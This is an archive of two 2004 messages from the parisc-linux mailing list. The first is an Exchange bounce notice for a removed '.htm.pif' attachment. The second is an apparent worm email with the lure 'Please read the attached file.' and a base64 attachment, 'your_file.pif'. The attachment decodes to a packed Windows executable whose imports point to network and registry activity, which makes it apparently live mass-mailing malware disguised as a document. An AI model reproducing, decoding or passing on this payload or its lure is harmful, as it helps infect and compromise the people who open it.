X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 08 Mar 2004 06:00:52 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21007

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C404D1.76E34BA0
Content-Type: text/plain;
	charset="windows-1252"

Your message

  To:      gurpura.pai@np.ge.com
  Subject: feel free to use it.
  Sent:    Mon, 8 Mar 2004 07:00:26 +0100

did not reach the following recipient(s):

GURPURA.PAI@NP.GE.COM on Mon, 8 Mar 2004 07:00:42 +0100
    The recipient name is not recognized
	The MTS-ID of the original message is:
c=us;a=mark400;p=ge;l=MSXITFI01NPGE0403080600GCL9QW9Q
    MSEXCH:IMS:GE:NPItaly:MSXITFI01NPGE 0 (000C05A6) Unknown Recipient



------_=_NextPart_000_01C404D1.76E34BA0
Content-Type: message/rfc822

Message-ID: <200403080600.i2860U03009819@ext-ch1gw-1.online-age.net>
From: parisc-linux@parisc-linux.org
To: gurpura.pai@np.ge.com
Subject: feel free to use it.
Date: Mon, 8 Mar 2004 07:00:26 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
X-MS-Embedded-Report: 
X-MSMail-Priority: Normal
Content-Type: multipart/mixed; boundary="----_=_NextPart_002_01C404D1.76E34BA0"


------_=_NextPart_002_01C404D1.76E34BA0
Content-Type: text/plain;
	charset="windows-1252"

misc. and so on. see you!


------_=_NextPart_002_01C404D1.76E34BA0
Content-Type: text/plain;
	name="ATT870340.txt"
Content-Disposition: attachment;
	filename="ATT870340.txt"

[Filename: music_shower.htm.pif, Content-Type: application/octet-stream]
This e-Mail had an attachment that was removed in order to meet GE Security guidelines.

------_=_NextPart_002_01C404D1.76E34BA0--

------_=_NextPart_000_01C404D1.76E34BA0--


From - Thu Nov 08 21:31:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: suprimentos@hospitalsantacruz.com.br
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Hi
Date: Mon, 8 Mar 2004 03:15:08 -0300
Lines: 345
Approved: news@gmane.org
Message-ID: <20040308062341.CB3D44840@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0004_00002949.0000181D"
X-Trace: ger.gmane.org 1416623246 6360 80.91.229.3 (22 Nov 2014 02:27:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:26 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: suprimentos@hospitalsantacruz.com.br  Sun Mar  7 23:23:55 2004
Return-Path: <suprimentos@hospitalsantacruz.com.br>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from [200.177.127.2] (sipp-frame.terraempresas.com.br
	[200.177.127.2])
	by dsl2.external.hp.com (Postfix) with SMTP id CB3D44840
	for <parisc-linux@parisc-linux.org>;
	Sun,  7 Mar 2004 23:23:41 -0700 (MST)
Original-Received: from no.name.available by [200.177.127.2]
	via smtpd (for dsl2.external.hp.com [192.25.206.7]) with SMTP;
	8 Mar 2004 05:57:56 UT
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 08 Mar 2004 06:23:55 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21008

This is a multi-part message in MIME format.

------=_NextPart_000_0004_00002949.0000181D
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Please read the attached file.

------=_NextPart_000_0004_00002949.0000181D
Content-Type: application/octet-stream;
	name="your_file.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="your_file.pif"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V
4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp
dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA
APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE
AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA
EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg
AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA
AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
